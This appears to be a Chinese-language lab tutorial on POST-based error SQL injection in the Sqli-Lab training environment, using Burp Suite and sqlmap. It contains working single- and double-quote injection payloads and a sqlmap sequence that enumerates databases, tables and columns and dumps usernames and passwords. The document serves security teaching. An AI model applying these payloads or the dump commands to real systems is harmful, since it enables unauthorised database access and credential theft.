MySQL|POST基于错误的注入
1.Burpsuit抓取HTTP请求
Burpsuit是一款Web安全测试的利器,集成了几乎web安全测试中所有需要用到的功能。
运行前提:
1.需要安装Java
下载连接:https://www.java.com/zh_CN/
同意并且免费下载
下载好之后直接运行,一路下一步即可。
安装好之后打开DOS界面,查看是否安装成功
按住Win + r键,运行框里输入cmd命令,确定
输入
java
出现上图的情况说明java环境配置成功。
2.截断代理设置:在浏览器中设置局域网代理。
这里就以火狐浏览器举例说明
打开设置
常规滑到最下面,找到设置
设置如下图所示的参数
3.启动Burpsuite进行截断抓取HTTP消息
使用Burpsuit之前,查看是否Proxy Listeners是否为running状态
2.POST基于错误单引号注入
注入点位置发生了变化,在浏览器中已经无法直接进行查看与修改。当然可以借助对应的插件可以完成修改任务。
以Sqli-Lab Less11为例
输入用户名和密码,进行抓包
用户名:admin
密 码:123456
抓包可以看到,此处的用户名和密码使用的是POST
的传参方式,将数据发送至Repeater
点击Repeater
,点击go发送包
当我使用反斜杠,在用户名或密码后面均会报错
uname=admin\&passwd=12345&submit=Submit
uname=admin&passwd=12345\&submit=Submit
使用单引号进行测试
uname=admin&passwd=12345' or 1=1 --+&submit=Submit
可以预测源代码中的查询语句是
select uname,passwd from 表名 where uname='xxx' and passwd='xxx' limit 0,1
源代码如下所示
2.POST基于错误双引号注入
以Sqli-Lab Less12为例
还是和11关一样,抓包的细节,这里就不在赘述
查看报错信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"12345\") LIMIT 0,1' at line 1
可以推测查询语句为
select uname,passwd from 表名 where uname=("xxxx") and passwd=("xxxx") limit 0,1
进行测试
uname=admin&passwd=12345") or 1=1--+&submit=Submit
3.Sqlmap安全测试
sqlmap安全测试进行post注入
复制Burpsuite截断的HTTP请求数据包文本文件中
语法如下:
Sqlmap -r 文件绝对路径 -p 指定探测参数
(1)抓取数据包
(2)在sqlmap的文件夹下,新建文本文档,建议使用数字或字母命名
指定了对应的参数与技术
python2 sqlmap.py -r 1.txt -p passwd --technique E
查看当前使用的数据库名称
python2 sqlmap.py -r 1.txt -p passwd --technique E --current-db
爆破表名
python2 sqlmap.py -r 1.txt -p passwd --technique E -D security --tables
使用users库,爆破字段名
python2 sqlmap.py -r 1.txt -p passwd --technique E -D security -T users --columns
爆破字段的内容
python2 sqlmap.py -r 1.txt -p passwd --technique E -D security -T users -C "password,username" --dump
至此,探测完毕